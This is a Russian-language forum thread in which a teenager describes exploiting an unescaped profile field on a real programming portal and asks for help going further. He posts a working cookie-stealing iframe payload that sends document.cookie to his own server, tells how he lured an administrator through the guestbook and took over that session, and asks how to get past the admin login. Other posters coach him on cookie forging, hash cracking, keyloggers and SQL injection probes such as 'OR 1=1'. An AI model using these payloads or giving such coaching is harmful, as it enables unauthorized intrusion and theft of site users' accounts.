Здравствуйте. Не знаю, куда лучше написать это сообщение, поэтому пишу во флейм, так как написано, что сюда можно писать все(кроме рекламы). Итак, мне 15 лет, я "увлекаюсь" web-разработками. Думаю, что неплохо владею PHP(+MySQL),HTML,CSS,JavaScript. Я нашел уязвимость на одном из порталов по программированию. Уязвимость вот какая: Есть страница редактирования настроек профиля. Там есть поля "Имя", "Email", "Откуда вы" и т.п. После проверки всех полей "на вшивость" я обнаружил, что при редактировании профиля поле "Откуда вы" не обрабатывается функцией htmlspecialchars(), а также не ограничивается в длине. То есть на страницу редактирования собственного профиля можно внедрить абсолютно любой html(+javascript, etc.) код. Теперь у меня есть несколько вопросов: 1. Почему, когда я вставляю в это незащищенное поле текст типа <? echo "VasiaLamer"; ?>, у меня не выполняется код? При просмотре исходника страницы(view source) этот код написан без изменений. То есть символы < и > не заменены. Как при этом поступить, чтобы можно было выполнить запрос в БД? 2. На странице написания приватных сообщений обнаружена такая же ошибка при попытке "переслать" сообщение другому пользователю. Я сформировал javascript'ом строку вида http://hostname.ru/code.php?cookie="куки"&host="хост" Где скрипт code.php записывает данные из строки в файлы. В результате я получил несколько хэшей паролей. Что мне с ними делать? Начать подброрку с помощью md5inside? 3. Где можно почитать про то, что такое шеллы и снифферы?
1) Видать ты не так хорошо знаешь PHP как рассказываешь =). Возможны 2 варианта: работа с MySQL или работа с текстовой бд ввиде текстовых файлов. Возьмем случай номер 1. Все введенные тобой данные считываются из ячеек таблицы бд MySQL специальной командой. Но ведь там нигде нет вызова вставки файла в сценарий функцией include( ) или require( ). Значит введенная тобой информация ни каким образом не сможет быть интерпретирована как php код. Тоже самое с текстовой дб. Все манипуляции скорее всего происходят с массивом, созданным обращением к файле текст-дб $file=file("text.txt") или $fp=fopen("text.txt", "r"). В любом случае содержимое текст-дб будет так или иначе занесено в переменную(ые) и(или) массив(ы) и так же никаим образом не сможет проявить себя как PHP-сценарий. 2)Изучи структуру своих куков на портале и сверь с тем что тебе пришло. Если на портале есть система "запомнить меня" тогда ты сможешь пдделать куки и зайти на портал под чужим логином. Т.о. есть возм-сть получить админку. Для подмены куков существуют спец проги, или это можно делать вручную 3) www.ya.ru
Нет. Если я правильно понял, то это пассивный Xss. С его помощью можно украсть куки пользователя или задефейсить браузерозависимо страницу своего профайла.
Ладно, остановимся на cookies. Написал небольшой скрипт на JavaScript, но кое-что не работает. Помогите. Загружаю на страницу невидимый фрейм, который открывает мой скрипт и пишет в строке cookies. <iframe frameborder=0 height=1 name="topwindow" width=1 style='display:none' src='javascript:var a;a=document.cookie;parent.topwindow.location.href="http:// hostname.ru/code.php?cookie="+a;'></iframe> Почему-то переменная "a" пуста... Если неприльно попробовать вот так: <iframe frameborder=0 height=1 name="topwindow" width=1 style='display:none' onload='javascript:var a;a=document.cookie;parent.topwindow.location.href="http:// hostname.ru/code.php?cookie="+a;'></iframe> То переменная "a" есть. В ней cookies. Но опять фрейм постоянно перезагружается. Что тут делать? Почему в первом случае переменная пуста, а во втором нет? P.S. Или может есть другой способ загрузить документ на своем сервере, чтобы пользователь этого не заметил?
Потому что фрейм не считается тем же документом что и основная страница. Внедряй через картинку размером 0 на 0 или стили любого другого тега.
Ура! Внедрил код в картинку. Работает. Написал у них на сайте в гостевухе адрес "http://...адрес просмотра профиля..." и еще какую-то лабуду. Один из админов клюнул и зашел по этой ссылке. В результате в мой файл hackcookie.txt были записаны значения cookies. С помощью программы Cookie Editor(спасибо ответившим в соседней ветке) заменил значения своих cookies на cookies из файла. Захожу на сайт - я администратор. Дело сделано! Всем спасибо! Но, как оказалось позже, права администратора ничего не дают, кроме как писать в гостевухе от его имени... У них на сайте 2 степени защиты. Теперь, чтобы войти в административный центр, мне надо ввести логин и пароль... но данные того админа не подходят. Точно не помню, как такая защита называется, но вроде SSL. Выскакивает такое окошко с двумя полями "логин" и "пароль". Эту защиту можно как-нибудь обойти?
Я знаю 2-а самых простых способа: 1) Встать около юзера когда он вводит данные =) 2) Отследить набор данных через прерывания клавиатуры (разнообразные клавиатурные шпионы), но это отпадает даже при минимальной защите машины... хотя...
=)) Улыбнуло "Точно не помню, как такая защита называется, но вроде SSL". SSL - весчь "немножечко" другая. Если окошко выскакивает - это еще ничего н значит. Авторизация может прохдить самым обычым спосоом, каким она проходила бы и через вебформу. Поэтому можно дать след. советы: 1)Попробуй слепую SQL-injection типа pass='qwerty' OR 1=1 2)Попробуй брутануть хеш админа из кукисов и ляпнуть в окошко авторизации
Нет, все-таки я думаю, что это SSL. Зайдите, например, на vologda.ru/home - у вас выскочит окошечко, где вам надо будет ввести данные. Вот на том сайте выскакивает точно такое же. Теперь вопрос о другом. Думаю, что на сайте можно сделать sql-injection. Меняю значение cookies с выданого мне хэша (например 20deac5f8ab126ec45cb1ddb564239bb) на "+or+1=1/* . В результате на каждой странице сайта вверху появляются ошибки: Warning: mysql_result(): Unable to jump to row 0 on MySQL result index 10 in /home/xxx/public_html/index.php on line 59 Warning: mysql_result(): Unable to jump to row 0 on MySQL result index 10 in /home/xxx/public_html/index.php on line 60 Еще ошибки подобного рода выскакивают на сайте, когда в строке ?mod=news&id=1 пишешь вместо 1 несуществующий id новости, например ?mod=news&id=12425345345 Но вот что дальше делать... я и не знаю. Догадываюсь, но... все-равно прошу помощи.
id=1 здесь подставь перед 1 знак ' если кавычка не будет экранироваться и выскочит ошибка то есть скл инъекция..
Существующая новость - id=73 - все выводит нормально, никаких ошибок, естественно. Ставлю - id='73 - на страницу лезет КУЧА(6!) ошибок вот такого типа: Warning: mysql_result(): Unable to jump to row 0 on MySQL result index 17 in /home/xxx/public_html/news/index.php on line 31 Все последующие ошибки ничем не отличаются, кроме номера строки с ошибкой. То есть дальше on line 32.. 33.. 34.. Подставляю - id="73 - те же ошибки. Делаем SQL-INJECTION?
Как это: я админ, но права админа ничего не дают? Нахрена тогда быть админом, если у тебя нет никаких прав? Может, ты просто не знаешь, где админка лежит?
На сайт я вхожу под чужим именем(админом). Там есть ссылка на "административный центр". Я иду по ней, у меня выскакивает окошко, о котором я уже писал. Поэтому права администратора пока ничего не дают, кроме как писать от его имени в гостевухе. Почему ошибку выдает, когда ставишь кавычку перед номером, а не после?